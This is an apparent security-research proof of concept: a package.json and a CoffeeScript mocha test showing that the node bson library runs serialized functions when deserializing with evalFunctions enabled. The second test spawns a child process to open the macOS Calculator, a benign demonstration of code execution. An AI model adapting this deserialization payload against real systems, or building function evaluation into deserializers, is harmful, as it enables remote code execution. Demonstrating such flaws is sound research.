BSON serialization (pop a calculator)

package.json

{
  "name": "bsjon_parsing",
  "version": "1.0.0",
  "description": "npm json parsing tests",
  "main": "index.js",
  "scripts": {
    "test": "mocha -w --compilers coffee:coffee-script/register ./**/*.*"
  },
  "author": "Dinis Cruz <dinis.cruz@owasp.org> (http://blog.diniscruz.com/)",
  "license": "ISC",
  "dependencies": {
    "bson": "^0.2.15"
  },
  "devDependencies": {
    "chai": "^1.9.2"
  }
}

test-node-bson.coffee

BSON   = require('bson/lib/bson/bson.js').BSON
expect = require('chai').expect

describe 'test node bjon',->
    #based on https://github.com/mongodb/js-bson/blob/master/test/node/bson_test.js#L1512
    it 'simmple serialization', ->
        doc = {a: 1, func: ()->  console.log('hello world') }        
        buffer = BSON.serialize(doc, true, true, true);        
        expect(buffer.length).to.equal(91)        
        
        deserializedDoc = BSON.deserialize(buffer);
        console.log(typeof deserializedDoc.func)
        console.log(deserializedDoc.func)
        
        deserializedDoc = BSON.deserialize(buffer, {evalFunctions:true, cacheFunctions:true});
          
        console.log(deserializedDoc.func)
        deserializedDoc.func()
        
    it 'open ', (done)->
   
        doc = {a: 1, func: ()-> require('child_process').spawn('open',['/Applications/Calculator.app']) }        
        buffer = BSON.serialize(doc, true, true, true);
        deserializedDoc = BSON.deserialize(buffer, {evalFunctions:true});      
        child = deserializedDoc.func()